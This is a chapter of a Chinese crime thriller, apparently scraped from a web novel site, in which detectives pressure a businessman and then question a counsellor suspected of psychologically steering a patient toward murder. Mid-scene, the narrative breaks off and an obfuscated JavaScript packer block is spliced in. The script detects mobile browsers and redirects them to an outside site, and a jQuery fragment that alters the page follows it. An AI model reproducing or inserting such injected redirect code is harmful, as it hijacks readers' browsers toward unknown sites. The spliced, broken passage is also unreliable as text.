“你觉得他真的能救你?”
陈玉山盯着他。
沈墨放低声音,语气平缓,“陈总,您现在的处境很危险。周临不会因为您的沉默就放过,就像他不会放过苏雅那样。”
陈玉山的指尖微微颤抖,咽了咽口水,喉结滚动。他闭上了眼睛,就像是在拒绝接着说这个话题。
沈墨继续说:“您刚才的求救短信是发给谁的,是周临,还是陈末或者乔恩?您觉得他们真的会来救您吗?”
陈玉山猛地睁开眼,眼底布满血丝,“你们根本不懂,他掌控着一切,我逃不掉的。”
“但您现在在警局,他动不了您。”肖一南沉声说。
陈玉山苦笑,“警局?我这个人是在警局,但我的家人不在,你们能保护得了我,能保护我的家人吗?”
沈墨的目光还是盯着他,“所以您承认,害怕的是周临?你知不知道陈末和乔恩逃走了,留下了周临一个人。”
“我……”陈玉山沉默,声音有些嘶哑,“是他。他手里有我的把柄,如果我不按他说的做,他会毁了我。”
“什么把柄?”
陈玉山攥紧拳头,他清了清嗓子,声音低得几乎听不见,“四年前的建材安全事故死了人,我压下去了。他手里有证据。”
沈墨和肖一南对视了一眼。
肖一南问:“他怎么会有你的证据?”
“心理疏导,他问了我正在焦虑的问题,我应该是在那个时候说出来的。”
“陈总,现在只有和我们合作,才能彻底摆脱他。”沈墨缓缓开口,“否则,您永远都是他的傀儡。”
陈玉山有些颓废地背坐在椅上,吐出了一口气,最后才说一个好字。
夜色渐沉,周临推开别墅大门,屋内一片漆黑。
他打开了灯,看着空无一人的房子。
周临的眉头紧蹙,快步走向书房,推开门后,脸色一变,桌上的电脑和文件全部消失,只留下一张字条:【游戏该结束了。】
后面还画了一个笑脸。
他盯着字条,嘴角微微抽动,眼神变得阴鸷。他没有暴怒,没有砸东西,只是缓缓将字条捏成一团。
“呵,低估你们了。”他低笑一声。
他转身走向酒柜,倒了一杯威士忌,一口喝完。酒精灼烧着他的喉咙,眼底还显现着没有消失的戾气。
周临拿着酒瓶走到沙发边,他给陈玉山发了一条消息。
过了半个小时也没有收到回复。
这时手机震动。
他瞥了一眼,是沈墨发来的消息:【周临,如果你真的无辜,就接受专业心理评估。公开对决,你敢吗?】
周临盯着屏幕,突然笑了。
明白过来,陈玉山恐怕在他那里。又是沈墨,怎么又是他,怎么哪里都有他!
他慢条斯理地打字回复:【沈先生,激将法对我没用。不过我倒是很期待,你怎么证明你有资格评估我?】
发完消息后,他放下手机,走到窗前,看着漆黑的夜色,轻声细语说着,“既然你们都想玩,那我就陪你们玩到底。”
肖一南被他的消息给气笑了,“他怎么好意思说出这句话来,这句话也是他能说出口的吗?”
这个时候,周临才把自己的立场,以及想法真正的表露出来,未尝不是一件好事。
“现在我们要做什么?”
沈墨放下了手机,“审问。”
肖一南问:“用什么理由?”
沈墨轻笑一声,“叶书阳是一个突破口,既然叶书阳是他第一个选择的人,那也应该由他来解开。”
第二天,拿到传唤书的那一刻,沈墨感觉到了从所未有的轻松,因为这一刻已经有了实质的证明,周临确实是曾经有过对叶书阳进行心理上的引导。
他和肖一南去到周临的咨询室室,里面空无一人。
下到一楼的前台,肖一南最先走过去,拿出了警察证,“今天六楼的咨询室有开门营业吗?”
前台的女生愣了一会,“您是说周先生的咨询室吗?今天没有看到他来,或许是休息。”
“前两天呢?”沈墨也走近,问。
“前两天来了。”
肖一南点头,“感谢配合。”
他们走出了写字楼,天变得有些阴暗,这两天的天气都不算是太好。
“现在我们应该怎么办,他不会也是逃走了吧?”
沈墨摇了摇头,“不太可能,这不像是他的作风。像他这样的人,一定会做得很完美,就像是他穿的衣服一样。”
肖一南皱着眉头,“我让警局那边的人打电话,直接传唤?”
沈墨沉思片刻,点头道,“可以,语气不要太正式,避免打草惊蛇。”
肖一南立刻拨通了警局的电话,安排同事以协助调查调查叶书阳案件为理由,传唤周临到警局询问。
挂断电话后,肖一南看向沈墨,“接下来呢,如果他拒绝配合怎么办?”
沈墨看向远方,远处车水马龙,一切都像是以前的样子,语气肯定,“他不会拒绝,以他的性格,越是公开的场合,越会表现得从容不迫。他喜欢掌控局面,那我们正好给他一个舞台。”
果然,不到半小时,警局回复:周临表示愿意配合调查,一小时后会自行前往警局。
“他倒是淡定。”肖一南冷哼一声。
沈墨看了看表,“我们先回警局准备,这次必须让他露出破绽。”
回到警局,沈墨重新梳理了叶书阳案件的资料。叶书阳曾是周临的病人,在接受心理治疗期间的反应良好,直到那一天才出现了异常行为,用锤子杀了两个学生,成为了罪犯。
外面传来一阵骚动,是周临到了。
他还是照旧穿着深灰色的西装,面带微笑地走进警局,就像是来参加一场普通的会议。看到沈墨和肖一南,他甚至还点了点头。
“沈先生,肖警官,听说你们有事要问我?”周临的声音温和有礼。
沈墨直视他的眼睛,“周先生,请跟我们来审讯室。”
审讯室内,周临从容地坐下,双手交叠放在桌上,“不知道我有什么可以帮忙的?”
审讯室里的灯光有些刺眼,但周临坐在椅子上,姿态十分放松。
沈墨将一份档案推到他面前,声音平静:“我们今天,想请您协助调查叶书阳的案件。”
周临微微抬起下巴,目光扫过档案的封面,嘴角依旧带着那抹若有若无的笑,“当然。作为公民,配合警方调查是我的义务。”
肖一南坐在一旁,双手抱胸,目光犀利地观察着周临的每一个表情。
沈墨翻开档案,取出一张照片,那是叶书阳在接受审讯时的照片,眼神空洞,脸色苍白,“对叶书阳还有印象吗?”
周临的目光在照片上停留了一秒,很快就移开,他点了点头,语气平和,“他曾经是我的病人,一个不幸的年轻人。”
“不幸?您认为他的悲剧是偶然的?”
对面的人叹了口气,眼神中出现了一丝的惋惜,“心理出现疾病本来就是一场悲剧,叶书阳的病情又比较复杂,治疗过程中,他的状态时好时坏。我尽力了,但有些事不是我们咨询师能完全控制的。”
沈墨点点头,像是同意他的说法,他从文件夹中抽出一份咨询记录,“这是之前你提供的咨询记录,上面写他的情绪,在最后几次治疗中趋向于稳定。”
周临看了一眼记录,神色不变,“是,当时他的确表现出好转的迹象。但心理疾病具有反复性,尤其是像他这样的重度抑郁,外界的一点刺激都可能引发他崩溃。”
沈墨盯着他的眼睛,缓缓开口:“你认为是什么刺激导致了他最后的崩溃?”
他微微后仰,靠在椅背上,双手放在膝盖上,姿态从容,周临摇了摇头,“这个很难说,可能是学业压力,也可能是人际关系,甚至还可能是某个瞬间,触发了他的创伤回忆。心理学上的复杂性就是在这个地方。”
审讯室出现了短暂的沉默,监控摄像头和前面的摄像机还在记录着这一切。
沈墨突然从口袋里拿出一支小型录音笔,轻轻放在桌上,“我这里有一段
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993147|178039||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
录音,想请你听一下。”
“哦?是什么录音?”周临的目光落在录音笔上,他微微一笑。
沈墨按下播放键。
录音中传来叶书阳有些沙哑,又颤抖的声音,“他说,如果我按照他说的做,一切都会结束。他说,只要我动手,我的痛苦就会消失,他还说,这是解脱。”
周临安静地听着,脸上的表情没有任何的变化,甚至还带着一丝的困惑。
录音结束后,他抬起头,语气带着疑惑,“我不明白你给我听这段录音的意义,一个精神病人的独白,能证明什么?”
沈墨直视他的眼睛,“叶书阳口中的他,指的是你吧。”
周临轻笑一声,摇了摇头,“你对心理学似乎有些误解,叶书阳在发病期间,幻觉和妄想症状非常明显。他可能将任何一个人,包括他的主治医生,想象中成为一个操控者。”
肖一南听着有些不一样的录音记录,他没有说出来,“那为什么偏偏是你,为什么不是别人?”
周临看向了肖一南,目光十分坦然,“因为我是他的咨询师,是他接触最多的人之一。在病人的妄想中,亲近的人往往成为他们恐惧或依赖的对象。这是常识,沈先生应该会比我更了解其中。”
沈墨没有急着反驳,而是继续问道:“你能保证在治疗过程中,你从未对他进行过任何暗示或引导吗?”
他的表情终于出现了一丝变化,不是慌张,而是一种带着讽刺的无奈,“沈先生,您这是在质疑我的专业操守。心理治疗有严格的伦理规范,任何暗示或引导都是被禁止的。如果您有证据证明我违反了职业准则,请直接拿出来。”
审讯室内所有人都没有说话。
沈墨沉默了一会,换了个话题,“你和陈玉山很熟吧?”
周临的眉头抽动了几下,但很快恢复回来,“陈总?算是认识。”
沈墨继续追问,“据我们了解,你曾为他提供过心理疏导。”
“作为心理咨询师,我为很多人提供过心理疏导,这有什么问题吗?”周临微微一笑。
沈墨没有回答,突然说:“陈玉山现在在我们这里。”
察觉到自己的呼吸变得缓慢起来,周临停顿了一会,最后他轻轻点头,“是吗?那很好,希望他能得到他需要的帮助。”
沈墨盯着他的眼睛,缓缓说道:“他告诉我们,四年前的建材安全事故,是您用这件事威胁他,逼他配合您的计划。”
周临突然笑了,笑声变得愉悦,“这个故事编得很精彩,但你忘了一点,如果我真要威胁什么人,为什么会选择一个有自杀倾向的精神病人和一个自身难保的商人?这不符合逻辑。”
但沈墨并没有被他带偏节奏,而是继续说:“逻辑是您需要的是工具,而不是同伙。”
对面的人的笑容渐渐收敛,眼神变得有些冰冷,他慢慢站起来,整理了一下西装的衣摆,语气依旧冷静,却带着一股冷意,“如果没有实质性的证据,这样的指控已经构成了诽谤,今天的问话可以到此结束了。”
肖一南上前一步,“请你认真配合,我们需要……”
周临打断他,声音依旧冷淡,“你们需要的是逮捕令,而不是我的配合。如果没有的话,我没有理由再待下去了。”
说完,他转身朝门口走去。
沈墨坐在原位没有阻拦,在他准备推开门出去的时候,开口,“周临,你害怕了。”
他的脚步顿住了,握着门把的手突然收紧。
沈墨的声音很轻,“你害怕的不是我们,而是失去控制。陈末和乔恩的背叛,陈玉山的倒戈,叶书阳的录音,你的棋盘正在慢慢的崩坏。”
周临的嘴角僵硬地抽动两下,头也不回地说道:“沈墨,你高估了自己。”
门开了,又关上,脚步声渐渐远去。
肖一南一拳砸在桌上,“我们就这么让他走了?”
沈墨看着紧闭的门,眼神里有看不出的情绪,“不,他已经露出破绽了,我们还有吕竹心。”
窗外,一道闪电划过,暴雨好像要到来了。